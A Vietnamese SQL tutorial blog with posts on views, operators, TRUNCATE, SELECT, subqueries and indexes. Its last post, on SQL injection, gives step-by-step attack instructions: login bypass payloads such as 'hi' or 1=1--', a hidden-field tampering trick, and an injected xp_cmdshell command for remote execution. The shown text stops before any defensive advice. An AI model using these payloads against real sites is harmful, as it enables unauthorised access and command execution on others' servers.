Categories
Hệ quản trị SQL

Tạo VIEW trong SQL Server

View là một bảng ảo trong SQL Server được tạo ra bởi các câu lệnh. Vậy cụ thể, sử dụng câu lệnh tạo view trong SQL như thế nào? Hãy cùng theo dõi bài viết sau để xem hướng dẫn cụ thể và chi tiết.

1. Cách tạo view trong SQL

Trong SQL Server, để tạo ra view người ta sẽ sử dụng câu lệnh CREATE VIEW. Có nhiều cách để tạo view, ví dụ tạo từ bảng đơn, nhiều bảng hoặc là từ view khác. Cụ thể cú pháp create view trong sql như sau:

CREATE VIEW ten_view AS

SELECT cot1, cot2…..

FROM ten_bang

WHERE [dieu_kien];

Trong câu lệnh SELECT có thể tạo thêm nhiều bảng. Cách tạo tương tự như khi viết câu truy vấn SQL SELECT bình thường.

2. Ví dụ về VIEW trong SQL

Ví dụ, chúng ta có một bảng NHANVIEN. Trong bảng có các nội dung:

ID TEN TUOI DIACHI LUONG
1 Thanh 32 Haiphong 2000.00
2 Loan 25 Hanoi 1500.00
3 Nga 23 Hanam 2000.00
4 Manh 25 Hue 6500.00
5 Huy 27 Hatinh 8500.00
6 Cao 22 HCM 4500.00
7 Lam 24 Hanoi 10000.00

Cách tạo view trong sql từ bảng NHANVIEN (dùng để lấy tên, tuổi trong bảng) như sau:

SQL > CREATE VIEW NHANVIEN_VIEW AS

SELECT ten, tuoi

FROM NHANVIEN;

Tiếp theo các bạn có thể truy vấn NHANVIEN_VIEW giống với các truy vấn trên bảng thực tế, cụ thể:

SQL > SELECT * FROM NHANVIEN_VIEW;

Kết quả nhận được là:

ten tuoi
Thanh 32
Loan 25
Nga 23
Manh 25
Huy 27
Cao 22
Lam 24

3. With Check Option trong SQL

Nội dung tiếp theo trong bài viết hướng dẫn tạo view trong sql này chính là cách sử dụng With Check Option, đây là một tùy trong trong lệnh CREATE VIEW. Khi sử dụng tùy chọn này có thể bảo đảm các UPDATE và INSERT sẽ thỏa mãn được những điều kiện định nghĩa VIEW nêu ra. Trường hợp không thỏa mãn điều kiện thì khi thực hiện UPDATE, INSERT sẽ trả về một lỗi.

Ví dụ, thực hiện tạo view trong sql server NHANVIEN_VIEW với tùy chọn With Check Option:

CREATE VIEW NHANVIEN_VIEW AS

SELECT ten, tuoi

FROM NHANVIEN

WHERE tuoi IS NOT NULL

WITH CHECK OPTION;

Nếu như người dùng cố gắng thực hiện UPDATE hay INSERT NHANVIEN_VIEW với giá trị tuoi=null thì sẽ xảy ra lỗi. Còn nếu giá trị tuoi khác null thì sẽ thành công.

4. UPDATE một view trong SQL

Các bạn có thể thực hiện UPDATE một view trong SQL bằng lệnh ALTER VIEW. Cụ thể, cú pháp như sau:

ALTER VIEW [ten_schema.] ten_view AS

[WITH {ENCRYPTION | SCHEMABINDING | VIEW_METADATA}

SELECT bieu_thuc

FROM bang

WHERE dieu_kien;

Ví dụ về một trường hợp cần UPDATE một view trong SQL, ta sẽ có:

ALTER VIEW sp_htk AS

SELECT sanpham.ten_sanpham, hangtonkho.soluong

FROM sanpham

INNER JOIN hangtonkho

ON sanpham.id_sanpham = hangtonkho.id_sanpham

WHERE sanpham.id_sanpham >= 500

AND sanpham.id_sanpham <= 1000;

Trong ví dụ trên, các bạn sử dụng lệnh ALTER VIEW để cập nhật mới VIEW có tên sp_htk mà không cần phải xóa view cũ để tạo view mới.

5. Chèn hàng VIEW trong SQL

Các bạn có thể chèn thêm hàng dữ liệu vào trong view và quy tắc cũng giống như UPDATE vậy. Trường hợp này sẽ sử dụng câu lệnh INSERT.

Khi chèn hàng sẽ không thể chèn vào trong NHANVIEN_VIEW vì không thể thực hiện SELECT tất cả các cột NOT NULL từ bảng ban đầu được. Chúng ta sẽ thực hiện chèn hàng mới vào trong một VIEW giống với chèn trong một bảng.

6. Xóa VIEW

Để thực hiện xóa VIEW chúng ta sẽ sử dụng cú pháp DROP VIEW. Cụ thể:

DROP VIEW ten_view;

ten_view

Tên của VIEW muốn xóa.

Ví dụ

DROP VIEW NHANVIEN_VIEW;

Khi thực hiện lệnh này các bạn sẽ xóa được VIEW tên NHANVIEN_VIEW.

Như vậy là chúng tôi đã chia sẻ cho các bạn cách tạo view trong SQL như thế nào và một số câu lệnh khác liên quan tới view. Hy vọng những thông tin trên sẽ hữu ích với các bạn.

 

Categories
Hệ quản trị SQL

Toán tử trong sql

Những người học ngành Công nghệ thông tin, đặc biệt là lĩnh vực lập trình đều cần phải hiểu rõ về khái niệm toán tử trong SQL cũng như cách sử dụng của chúng. Nếu các bạn còn chưa hiểu rõ về khái niệm này thì hãy theo dõi bài viết của chúng tôi!

1. Toán tử trong SQL là gì?

Trong lệnh SQL, các ký tự hoặc từ được sử dụng riêng cho mệnh đề WHERE để thực hiện các thao tác được gọi là toán tử. Các thao tác này rất đa dạng, đó có thể là phép so sánh hay những phép toán toán số học. Mục đích sử dụng toán tử là để chỉ định điều kiện nào đó trong câu lệnh SQL và giống như giao của nhiều điều kiện trong cùng một câu lệnh.

Trong SQL có 4 loại toán tử là:

  • Toán tử số học
  • Toán tử logic
  • Toán tử so sánh
  • Toán tử dùng cho mục đích phủ nhận các điều kiện

2. Bảng toán tử số học trong SQL

Ví dụ, chúng ta có biến a lưu giá trị là 10 và biến b lưu giá trị là 20. Vậy bảng toán tử trong SQL sẽ như sau:

Toán tử Mô tả Ví dụ
Cộng (+) Phép cộng các giá trị 2 bên a + b, kết quả 30
Trừ (-) Phép trừ sẽ lấy toán hạng bên trái trừ toán hạng bên phải a – b, kết quả -10
Nhân (*) Lấy giá trị 2 toán hạng nhân lại với nhau a * b, kết quả 200
Chia (/) Chia lấy phần nguyên b / a, kết quả 2
Chia lấy số dư (%) Chia lấy phần dư b % a, kết quả 0

3. Toán tử so sánh trong SQL

Để hiểu rõ hơn về các toán tử so sánh trong SQL chúng ta tiếp tục sử dụng ví dụ trên với giá trị a =10, b=20, ta có:

Toán tử Mô tả Ví dụ
= Kiểm tra 2 toán hạng ở 2 bên dấu bằng có giá trị bằng nhau không. Nếu bằng thì điều kiện là true (a = b) là false
!= Kiểm tra 2 toán hạng ở 2 bên dấu bằng có giá trị bằng nhau không. Nếu không thì điều kiện là true (a != b) là true
<> Kiểm tra 2 toán hạng ở 2 bên dấu bằng có giá trị bằng nhau không. Nếu không thì điều kiện là true (a <> b) là true
> Kiểm tra giá trị của toán hạng bên trái lớn hơn giá trị toán hạng bên phải không, nếu có điều kiện true (a > b) không true
< Kiểm tra giá trị toán hạng bên trái nhỏ hơn giá trị toán hạng bên phải không, nếu có thì điều kiện true (a < b) là true
>= Kiểm tra giá trị toán hạng bên trái lớn hơn hoặc bằng giá trị toán hạng bên phải không, nếu có điều kiện là true (a >= b) không true
<= Kiểm tra giá trị toán hạng bên trái nhỏ hơn hoặc bằng giá trị toán hạng bên phải không, nếu có điều kiện là true (a <= b) là true
!< Kiểm tra giá trị toán hạng bên trái không nhỏ hơn giá trị toán hạng bên phải, nếu có điều kiện là true (a !< b) là false
!> Kiểm tra giá trị toán hạng bên trái không lớn hơn giá trị toán hạng bên phải, nếu có điều kiện là true (a !> b) là true

4. Các toán tử logic trong SQL

Dưới đây là bảng danh sách các toán tử so sánh trong SQL:

Toán tử Mô tả
ALL So sánh một giá trị với tất cả các giá trị khác trong một tập hợp
AND Cho phép trong mệnh đề WHERE của lệnh SQL tồn tại nhiều điều kiện cùng lúc
ANY So sánh một giá trị nào đó với bất kỳ giá trị thích hợp nào khác trong danh sách tùy điều kiện
BETWEEN Tìm kiếm một giá trị nào đó trong một tập hợp nhiều giá, trong đó đã cho trước giá trị nhỏ nhất và lớn nhất
EXITS Tìm sự có mặt của một hàng trong bảng đảm bảo thỏa mãn điều kiện cụ thể nào đó
IN So sánh giá trị nào đó với danh sách chuỗi giá trị đã xác định
LIKE So sánh giá trị với các giá trị tương tự
NOT Đảo ngược ý nghĩa của toán tử logic trong SQL mà nó được sử dụng
OR Trong mệnh đề WHERE, OR dùng để nối nhiều điều kiện với nhau
IS NULL So sánh một giá trị với giá trị NULL
UNIQUE Tìm kiếm đơn nhất cho mọi hàng thuộc bảng (không có bản sao)

Trên đây là thông tin và cách sử dụng toán tử trong SQL. Hy vọng những thông tin chúng tôi chia sẻ sẽ hữu ích với các bạn!

 

Categories
Hệ quản trị SQL

Lệnh TRUNCATE TABLE trong SQL Server

TRUNCATE TABLE được hiểu là một lệnh nhằm xóa tất cả dữ liệu trong 1 bảng của SQL Server. Ngoài ra bạn cũng có thể sử dụng DROP TABLE để xóa toàn bộ bảng nhưng tôi khuyên bạn nên hạn chế sử dụng lệnh này nếu chưa hiểu rõ.

1. Cú pháp lệnh TRUNCATE TABLE

Cú pháp cơ bản của lệnh TRUNCATE TABLE:

1 TRUNCATE TABLE table_name;

Khi đó table_name là tên của bạn muốn xóa dữ liệu.

Ngoài ra bạn cũng có thể áp dụng lệnh ở cú pháp nâng cao hơn như sau:

TRUNCATE TABLE [ten_CSDL.] [ten_schema.] ten_bang

[ WITH (PARTITIONS (so_phanvung

| so _phanvung TO so _phanvung ) ] ;

Ở phần 2 tôi sẽ phân tích kỹ hơn các giá trị cũng như là tên biến của cú pháp nâng cao này hơn.

2. Tên biến hoặc giá trị biến

ten_CSDL

Tùy bạn chọn như thế nào. Đây là tên của CSDL được bạn đặt

Ten_schema

Tương tự như ten_CSDL đây là tên của SCHEMA. Tôi cũng đã viết một bài viết chi tiết về SCHEMA trong SQL Server bạn có thể tìm và tham khảo qua (Internal link nè)

ten_bang

Đây là tên bảng mà bạn sẽ chọn để xóa các dữ liệu

WITH (PARTITIONS (so_phanvung | so_phanvung TO so_phanvung)

Cũng tương tự như 2 biến trên. Bạn có thể dùng với bảng phân vùng và sử dụng thêm so_phanvung để xác định số vùng mà mình muốn xóa trong bảng đó.

Nếu muốn xóa nhiều vùng, hãy dùng dấu (,) để tách các giá trị khoảng giá trị.Tuy nhiên lệnh sẽ lỗi khi bạn sử dụng đối với những bảng không được phân vùng. Tùy các phiên bản SQL khác nhau sẽ có hoặc không có tình năng này.

Lưu ý:

  • Không xóa được toàn bộ dữ liệu trong bảng được tham chiếu bằng Foreign Key.
  • Trước khi xóa toàn bộ dữ liệu,bạn phải có quyền ưu tiên như ALTER TABLE
  • Bộ đếm ở toàn bộ cột tự tăng giá trị sẽ quay lại từ đầu nếu bạn xóa toàn bộ dữ liệu trong bảng.

Ví Dụ:

Ví dụ 1

Trong SQL Server nếu như bạn không muốn lấy lại các dữ liệu thì xóa toàn bộ bảng là cách nhanh nhất. Sẽ có 2 lệnh xóa là DELETE và TRUNCATE, khác ở chỗ là với DELETE bạn có thể hoàn tác còn TRUNCATE sẽ “một đi không trở lại”.

Với TRUNCATE cũng đơn giản hơn khi xóa bằng lệnh DROP hay tạo bằng CREATE.

Ví dụ tôi muốn xóa bảng “hangtonkho” tôi có thể làm như sau

DELETE FROM hangtonkho;

Hoặc

TRUNCATE TABLE hangtonkho;

Ngoài ra cũng có thể xóa dữ liệu có điều kiện như sau

TRUNCATE TABLE totn.hangtonkho;

Với lệnh này tôi sẽ xóa các dữ liệu có tên totn trong bảng hangtonkho

Ví dụ 2 phân vùng

Áp dụng cú pháp cho bảng có phân vùng, ta sử dụng thêm mệnh đề WITH PARTITIONS cùng lệnh TRUNCATE TABLE

TRUNCATE TABLE hangtonkho

WITH (PARTITIONS (1 TO 5, 7) );

Ở hàm này tôi sẽ xóa các dữ liệu từ vùng 1-5 và vùng 7 trong bảng hangtonkho

3. Câu hỏi thường gặp

Nếu sử dụng lệnh TRUNCATE TABLE tôi có thể hoàn tác để lấy lại dữ liệu hay không?

Có nhưng khá phức tạp với cách chuyển tiếp để rollback. Ví dụ:

CREATE TABLE bang_nhap (cot1 int);

INSERT INTO bang_nhap VALUES (1);

INSERT INTO bang_nhap VALUES (2);

INSERT INTO bang_nhap VALUES (3);

— Tạo chuyển tiếp

BEGIN TRAN;

— Xóa bản ghi trong bảng

TRUNCATE TABLE dbo.bảng_nháp;

— Rollback bảng đã xóa bản ghi

ROLLBACK;

SELECT * FROM bang_nhap;

Lệnh SELECT nói trên sẽ trả về kết quả sau

cot1

———-

1

2

3

Như vậy là bạn đã có thể hoàn tác và 3 dữ liệu sẽ trở về bang_nhap.

Kiến thức nền về TRUNCATE TABLE trong SQL Server đã xong. Cùng đón đọc các bài viết tiếp theo của tôi để có thể làm việc với SQL một cách đơn giản hơn nhé.

 

Categories
Hệ quản trị SQL

Câu lệnh SELECT có điều kiện trong SQL Server

 

Câu lệnh SELECT là một câu lệnh quen thuộc trong SQL, được sử dụng để lấy về các kết quả ở các bảng trong CSDL ở SQL server. Cùng tìm hiểu chi tiết hơn về câu lệnh này nhé.

1. Cú pháp lệnh SELECT trong SQL

1.1 Cú pháp ở dạng đơn giản

Câu lệnh SELECT đơn giản nhất thường là:

SELECT “biểu thức”

FROM “bảng”

[WHERE “điều kiện”];

1.2 Cú pháp ở dạng đầy đủ

Còn dạng đầy đủ câu lệnh sẽ dài hơn với

SELECT [ ALL | DISTINCT ]

[ TOP (gia_tri_dau) [ PERCENT ] [ WITH TIES ] ]

“Biểu thức”

FROM “bảng”

[WHERE “điều kiện”]

[GROUP BY “biểu thức”]

[HAVING “điều kiện”]

[ORDER BY “biểu thức” [ ASC | DESC ]];

2. Tên biến hoặc giá trị biến

2.1 Tên biến và giá trị

Ngoài ra khi kết hợp với câu lệnh SELECT chúng ta sẽ kết hợp các biến sau

ALL – Tùy chọn. Kết quả trả về tất cả các hàng phù hợp

DISTINCT – Tùy chọn. Loại tất cả các giá trị bị trùng khỏi kết quả trả về.

TOP (gia_tri_dau) – Tùy chọn. Trả về toàn bộ kết quả ở hàng đầu tiên dựa vào gia_tri_dau đã chọn. Ví dụ TOP(5) thì kết quả trả về là 5 hàng đầu tiên.

WITH TIES – Tùy chọn. Nếu chỉ định cụ thể thì các hàng cố định ở cuối trong kết quả có giới hạn sẽ được trả về. Điều này có thể khiến cho số hàng trả về nhiều hơn biến TOP cho phép.

PERCENT – Tùy chọn. Nếu chỉ định cụ thể thì các hàng đầu tiên dựa theo phần trăm trên bộ kết quả (chỉ định bằng gia_tri_dau). Ví dụ TOP(5) PERCENT sẽ trả về top 5% kết quả đầu tiên trong bộ kết quả.

Biểu thức – Cột hoặc giá trị tính toán mà bạn muốn lấy. Dùng dấu * nếu bạn muốn lấy toàn bộ các cột.

Bảng – Kết quả trả về sẽ là bảng của bạn chọn. Phải có ít nhất 1 bảng được liệt kê trong lệnh FROM.

WHERE “điều kiện” – Tùy chọn. Kết quả trả về sẽ phải đáp ứng được điều kiện được đặt ra.

GROUP BY “biểu thức” – Tùy chọn. Nhóm các kết quả theo một hay nhiều cột từ dữ liệu thu thập được thông qua các bảng ghi.

HAVING “điều kiện” – Tùy chọn. Dùng lệnh này kết hợp với GROUP BY để giới hạn nhóm các hàng trả về khi đáp ứng được điều kiện.

ORDER BY “biểu thức” – Tùy chọn. Được dùng để lọc các kết quả. Sử dụng ASC để lọc theo thứ tự tăng dần và DESC để lọc theo thứ tự giảm dần.

2.2 Các ví dụ

Chọn toàn bộ trường trong một bảng

SELECT *

FROM hangtonkho

WHERE soluong > 10

ORDER BY hangtonkho_id ASC;

Sử dụng dấu * để chọn tất cả các giá trị trong bảng hangtonkho nhưng phải thỏa mãn giá trị là soluong > 10. Kết quả trả về sẽ được sắp xếp theo thứ tự tăng dần dựa trên bảng hangtonkho_id

Chọn một vài trường trong bảng

SELECT hangtonkho_id, hangtonkho_type, soluong

FROM hangtonkho

WHERE hangtonkho_id >= 555

AND hangtonkho_type = ‘phanmem’

ORDER BY soluong DESC, hangtonkho_id ASC;

Ở lệnh trên, kết quả trả về sẽ là số lượng, id, loại hàng và được lấy từ bảng hangtonkho khi thỏa mãn điều kiện id >= 555, loại hàng cũng cần thỏa mãn là “phanmem” (phần mềm).

Các kết quả trả về sẽ được sắp xếp theo số lượng giảm dần và tăng dần của id

Chọn từ nhiều bảng khác nhau

SELECT hangtonkho.hangtonkho_id, sanpham.sanpham_ten, hangtonkho.soluong

FROM hangtonkho

INNER JOIN sanpham

ON hangtonkho.sanpham_id = sanpham.sanpham_id

ORDER BY hangtonkho_id;

Trong ví dụ này tôi sẽ chọn ra từ các bảng hantonkho và sanpham để lấy ra các giá trị hangtonkho_id, sanpham_ten và soluong. Để làm được như vậy thì ID ở bảng hangtonkho phải giống với bảng sanpham.

Kết quả trả về sẽ được sắp xêm theo thứ tự tăng dần của ID.

Sử dụng keyword TOP

SELECT TOP(3)

hangtonkho_id, hangtonkho_type, soluong

FROM hangtonkho

WHERE hangtonkho_type = ‘phanmem’

ORDER BY hangtonkho_id ASC;

Trong ví dụ này thì tôi sẽ lấy ra 3 hàng đầu tiên trong bảng hangtonkho và thỏa mãn điều kiện loại hàng là “phanmem” (phần mềm). Kết quả trả về gồm id, loại hàng, số lượng và được sắp xếp từ tăng dần theo mã id.

Sử dụng keyword TOP PERCENT

SELECT TOP(10) PERCENT

hangtonkho_id, hangtonkho_type, soluong

FROM hangtonkho

WHERE hangtonkho_type = ‘phanmem’

ORDER BY hangtonkho_id ASC;

Gần tương tự như trên nhưng chỉ 10% giá trị đầu tiên được trả về thỏa mãn điều kiện là loại sản phẩm là phần mềm. 90% còn lại không được hiện ra.

Như vậy là chúng ta lại hoàn thành thêm một bài học khá hữu ích về lệnh SELECT trong SQL Server. Đón xem các bài viết tiếp theo của tôi nhé.

 

Categories
Hệ quản trị SQL

Truy vấn con SUBQUERY TRONG SQL – Học SQL từ cơ bản đến nâng cao

 

Hướng dẫn và định nghĩa chính xác Subquery trong SQl. Cũng khá đơn giản thôi nếu như bạn follow theo các hướng dẫn và thực hành theo tôi đảm bảo chỉ vài lần bạn đã thành thạo. Tôi cũng sẽ hướng dẫn từ cơ bản đến nâng cao luôn nhé. Nào chiến thôi.

1. SUBQUERY trong SQL là gì?

Truy vấn con hay Subquery là một cách viết câu lệnh trong SQL mà bạn có thể lồng thêm 1 hay nhiều các truy vấn nhỏ khác. Các lệnh thường được sử dụng khi viết là Insert, Select, Delete và Update. Cùng với đó là các toán tử ví dụ như =, <, >, >=, <=, IN, BETWEEN…

Ngoài ra truy vấn con cũng được gọi là INNER QUERY hay INNER SELECT. Các truy vấn chính mà chứa các truy vấn con thì được gọi là OUTER SELECT hoặc OUTER QUERY.

Ok định nghĩa là vậy nhưng trước khi đi vào chi tiết, chúng ta cũng tìm hiểu lại kiến thức đã nhé. Khi bạn viết một lệnh SELECT thì kết quả trả về sẽ là một table tạm, table này có số column và records dựa trên số lệnh SELECT. Do đó ta có truy vấn readonly dạng như sau:

1

2

SELECT NV.MANHANVIEN, NV.TENNHANVIEN

FROM (SELECT MANHANVIEN, TENNHANVIEN FROM NHANVIEN) AS NV

Trong truy vấn này rõ ràng bạn thấy tôi đã thêm một SUBQUERY. Vì là table tạm nên tôi phải sử dụng keyword AS để đặt tên cho nó nên ở câu SELECT cha bên ngoài mới hiểu.

Ok đi vào chi tiết cách viết thôi nhé

2. MỆNH ĐỀ WHERE

Với mệnh đề WHERE thì các truy vấn con được gọi là các truy vấn lồng hoặc truy vấn phụ

SELECT s.sanpham_id, s.sanpham_ten

FROM sanpham s

WHERE s.sanpham_id IN

(SELECT htk.sanpham_id

FROM hangtonkho htk

WHERE htk.soluong > 10);

Từ đó bạn có thể thấy truy vấn con trong lệnh SELECT trên là

(SELECT htk.sanpham_id

FROM hangtonkho htk

WHERE htk.soluong > 5);

Với cách này, bạn có thể tìm thấy id của sản phẩm trong bảng hàng tồn kho có giá trị tồn lớn hơn 5. Sau truy vấn con này tôi dùng để lọc ra các kết quả từ điều kiện IN

Tôi có thể viết truy vấn con thành INNER JOIN như dưới đây.

SELECT s.sanpham_id, s.sanpham_ten

FROM sanpham s

INNER JOIN hangtonkho htk

ON s.sanpham_id = htk.sanpham_id

WHERE htk.soluong > 5;

INNER JOIN sẽ trả về hiệu quả hơn truy vấn con ban đầu. Tuy nhiên không hẳn truy vấn con nào bạn cũng có thể sử dụng lệnh JOIN được.

3. MỆNH ĐỀ FROM

SELECT nhacung.nhacung_ten, truyvancon1.tong_sl

FROM nhacung,

(SELECT nhacung_id, SUM(donhang.soluong) AS tong_sl

FROM donhang

GROUP BY nhacung_id) truyvancon1

WHERE truyvancon1.nhacung_id = nhacung.nhacung_id;

Với lệnh WHERE tôi đã tạo truy vấn con trong mệnh đề FROM như sau:

(SELECT nhacung_id, SUM(donhang.soluong) AS tong_sl

FROM donhang

GROUP BY nhacung_id) truyvanconA-1

Truy vấn con này tôi gắn cho tên của nó là truyvanconA-1. Cách gán này để nó có thể tham chiếu tới truy vấn con này hoặc bất kỳ trường thông tin nào của truy vấn.

4. MỆNH ĐỀ SELECT

Với mệnh đề SELECT các truy vấn con này nhằm tính toán các hàm như SUM, MIN, MAX hoặc COUNT nhưng không muốn đụng đến truy vấn chính.

SELECT n1.ho, n1.ten,

(SELECT MAX(luong)

FROM nhanvien n2

WHERE n1.nhanvien_id = n2.nhanvien_id) truyvancon2

FROM nhanvien n1;

Truy vấn con được tạo từ truy vấn trên

(SELECT MAX(luong)

FROM nhanvien n2

WHERE n1.nhanvien_id = n2.nhanvien_id) truyvanconA-2

Tương tự như truy vấn con trên, tôi đặt tên cho nó là truyvanconA-2.

Khi sử dụng hàm SELECT thì các truy vấn con sẽ trả về các kết quả đơn. Do đó nó phù hợp để sử dụng cho các hàm trên.

5. Một vài ví dụ khác về Subquery trong SQL

Ngoài các lệnh thông dụng trên thì bạn cũng có thể sử dụng các lệnh khác để viết subquery như bên dưới.

5.1 SUBQUERY sử dụng trong IN

1

2

SELECT * FROM NHANVIEN A

WHERE A.ID IN (SELECT NHANVIENID FROM NHANVIEN);

5.2 SUBQUERY sử dụng trong ANY

1

2

SELECT * FROM KHACHHANG C

WHERE C.ID =ANY (SELECT KHACHHANGID FROM KHACHHANG);

5.3 SUBQUERY sử dụng trong SOME

1

2

SELECT * FROM NHANVIEN A

WHERE A.ID = SOME (SELECT NHANVIENID FROM NHANVIEN);

Trên là những cách viết và lệnh đơn giản, nâng cao thì các bạn cứ áp dụng những lệnh trên để viết. Hy vọng bài viết phần nào đem đến giá trị và kiến thức về SUB QUERY hay truy vấn lồng trong SQL cho bạn.

Đón đọc các bài viết tiếp theo về SQL của tôi nhé.

 

Categories
Hệ quản trị SQL

Index trong SQL – Học SQL từ cơ bản đến nâng cao

INDEX là gì trong SQL? Đây là câu hỏi tôi cũng nhận được khá nhiều từ các bạn trên Facebook. Do vậy tôi quyết định viết bài viết về index trong sql server để các bạn rõ hơn nhé. Nào bắt đầu ngay thôi.

1. Chỉ mục index trong SQL là gì?

Chỉ mục SQL hay Index SQL là một bảng tra cứu mà công cụ tìm kiếm CSDL có thể dùng để tăng tốc hiệu suất và thời gian truy xuất dữ liệu.

Nói một cách đơn giản khác việc bạn đánh chỉ mục là đánh mục lục cho quyển sách trong 1 cuốn sách (từng dữ liệu trong database).

Khi INDEX bạn sẽ tăng tốc các truy vấn SELECT chừa mệnh đề ORDER hay WHERE. Tuy nhiên đối với lệnh UPDATE hay INSERT sẽ khá chậm. Bạn có thể xóa hoặc lập chỉ mục , chúng không ảnh hưởng gì đến database.

Các kiểu index trong SQL

  • Single-Column Index
  • Unique Index
  • Composite Index
  • Implicit Index

Sử dụng lệnh CREATE INDEX để tạo một chỉ mục, bạn cũng có thể đặt tên, xác định các cột, bảng muốn index và xác định các index theo thứ tự tăng dần.

2. Lệnh CREATE INDEX

Cú pháp cơ bản của lệnh CREATE INDEX trong SQL như sau:

CREATE INDEX ten_index ON ten_bang;

3. Chỉ mục SINGLE – COLUMN

Single-Column Index được tạo cho duy nhất 1 cột trong bảng. Cú pháp cơ bản như sau:

CREATE INDEX ten_index

ON ten_bang (ten_cot);

4. Chỉ mục UNIQUE

Unique Index là chỉ mục duy nhất, được sử dụng để đảm bảo tính toàn vẹn dữ liệu và tăng hiệu suất. Unique index không cho phép chèn bất kỳ giá trị trùng lặp nào được chèn vào bảng đã đươc lập chỉ mục. Cú pháp cơ bản như sau.

CREATE UNIQUE INDEX ten_index

ON ten_bang (ten_cot);

5. COMPOSITE INDEX – chỉ mục kết hợp

Composite Index là chỉ mục kết hợp dành cho hai hoặc nhiều cột trong một bảng. Cú pháp cơ bản của nó như sau:

CREATE INDEX ten_index

ON ten_bang (cot1, cot2);

Lưu ý:

  • Việc tạo Single-Column Index hay Composite Index tùy thuộc vào tần suất bạn sử dụng mệnh đề WHERE của truy vấn dưới dạng điều kiện bộ lọc.
  • Nếu chỉ có một cột được sử dụng, thì lựa chọn tốt nhất là Single-column Index. Nếu có hai hoặc nhiều cột được sử dụng thường xuyên trong mệnh đề WHERE như là các bộ lọc thì dạng chỉ mục Composite Index là lựa chọn tối ưu hơn.

6. IMPLICIT INDEX – chỉ mục ẩn

Implicit Index (Index ngầm định) là chỉ mục mà được tạo tự động bởi Database Server khi một bảng được tạo.

Các Index ngầm định được tạo tự động cho các ràng buộc Primary key và các ràng buộc Unique.

7. Lệnh DROP INDEX

Khi bạn không muốn đánh chỉ mục INDEX nữa bạn có thể bỏ chúng bằng cách DROP với cú pháp:

DROP INDEX ten_index;

Tôi khuyên bạn, khi muốn DROP chỉ mục nào hãy cẩn thận, khi đó hiệu suất có thể chậm hơn đấy.

8. Nên tránh sử dụng INDEX lúc nào?

Sử dụng INDEX thì có thể tăng khả năng của Database, tuy nhiên bạn cũng không nên quá lạm dụng chúng một cách thái quá. Dưới đây, tôi sẽ liệt kê ra các trường hợp mà khi đó bạn nên cân nhắc trước khi INDEX:

  • Đừng INDEX cho các bảng nhỏ, ít bản ghi
  • Ở các bảng mà UPDATE và INSERT xảy ra với tần suất lớn, thường xuyên cũng không nên INDEX.
  • Các cột chứa số lượng lớn giá trị NULL cũng đừng nên sử dụng
  • Các cột bạn thường xuyên sửa đổi chúng cũng đừng nên INDEX

Như vậy là tôi đã hoàn thành hướng dẫn các bạn về các loại INDEX trong SQL. Hãy tiếp tục đọc các bài viết sau của tôi để rõ hơn về SQL nhé

 

Categories
Hệ quản trị SQL

SQL Injection là gì? Blind sql injection là gì?

 

Cách tấn công mạng này đã quá quen thuộc, nhưng thực sự chưa nhiều bạn nắm rõ về SQL Injection là gì cũng như cách phòng chống sao cho hiệu quả. Bài viết này tôi sẽ đề cập về khái niệm cũng như đưa ra ví dụ và cách phòng tránh. Cùng bắt đầu nào.

1. SQL Injection là gì?

Hiểu đơn giản SQL Injection là một cách hack một website. Lúc này hacker sẽ inject các mã độc như SQL query/command vào input. Sau đó đưa vào website xử lý và hacker có thể đăng nhập vào website không cần pass hay username, remote execution (thực thi từ xa), sỡ hữu root SQL server và dump data.

Công cụ thường được sử dụng sẽ là các công cụ trình duyệt web như Internet Explorer, Lynx,..

Bài labs về SQL injection

Labs là một bài thí nghiệm. Để bạn có thể dễ dàng hình dung ra cách mà hacker sử dụng SQL Injection để hack website của bạn, bạn có thể theo dõi bài labs thông qua link dưới đây.

https://www.hacksplaining.com/exercises/sql-injection

2. Các bước tiến hành SQL Injection

2.1 Tìm kiếm mục tiêu

Mục tiêu sẽ là các trang web cho phép bạn có thể submit dữ liệu. Ví dụ là các trang web có thể login, search, gửi feedback,..

Cách xem:

http://yoursite.com/index.asp?id=10

Một số ẩn đi các tham số thông qua field ẩn, bạn phải xem qua HTML mới có thể thấy được. Ví dụ:

<FORM action=Search/search.asp method=post>

<input type=hidden name=A value=C>

</FORM>

2.2 Kiểm tra điểm yếu của trang web

Khi đã xác định được đối tượng có thể hack bạn hãy thử submit các field id,. hoặc field username, password bằng hi’ or 1=1–

Login: hi’ or 1=1–

Password: hi’ or 1=1–

http://yoursite.com/index.asp?id=hi’ or 1=1–

Nếu site bạn chọn tham số bị ẩn, hãy download source HTML của site, lưu trên ổ đĩa cứng và thay đổi lại URL. Ví dụ:

<FORM action=http://yoursite.com/Search/search.asp method=post>

<input type=hidden name=A value=”hi’ or 1=1–“>

</FORM>

Nếu bước này thành công bạn sẽ có thể đăng nhập vào mà không cần tạo tài khoản.

2.3 Lý giải vì sao “or 1=1 — có thể vượt qua phần kiểm tra đăng nhập?

Ví dụ một trang ASP được liên kết với một ASP trang khác thì chúng ta có url như sau:

http://yoursite.com/index.asp?category=cookies

Ở URL trên, biến “Category” được gán một giá trị là “cookies”. Tôi ví dụ mã ASP của trang đó sẽ như thế này:

v_cat = request(“category”)

sqlstr=”SELECT * FROM product WHERE PCategory='” & v_cat & “‘”

set rs=conn.execute(sqlstr)

v_cat sẽ chứa giá trị của biến request(“category”) là ‘cookies’ và câu lệnh SQL tiếp là:

SELECT * FROM product WHERE PCategory=’cookies’

Dòng truy vấn dữ liệu (query) trên sẽ trả về một tập resultset chứa một hay nhiều dòng phù hợp với điều kiện WHERE PCategory=’cookies’

Nếu thay đổi URL trên thành http://yoursite.com/index.asp?category=cookies’ or 1=1–, biến v_cat sẽ chứa giá trị “cookies’ or 1=1– ” và dòng lệnh SQL query tiếp sẽ là:

SELECT * FROM product WHERE PCategory=’cookies’ or 1=1–‘

2.4 Thực hiện lệnh từ xa bằng SQL injection

Nếu website cài đặt ở chế độ mặc định thì MS SQL sẽ ở mức SYSTEM đồng nghĩa với Administrator trên Windows. Có thể dùng store procedure xp_cmdshell trong cơ sở dữ liệu master để thực hiện lệnh từ xa:

‘; exec master..xp_cmdshell ‘ping 10.10.1.2’–

Nếu dấu (‘) không hoạt động bạn có thể thử chuyển sang dấu (“)

Dấu chấm phẩy sẽ kết thúc dòng SQL query hiện tại, lúc này lệnh cho phép thi hành một SQL command mới.

Để kiểm tra xem lệnh trên có được thực hiện không, có thể listen các ICMP packet từ 10.10.1.2 bằng tcpdump như sau:

#tcpdump icmp

Nếu nhận được tín hiệu ping request từ 10.10.1.2 nghĩa là lệnh đã được thực hiện.

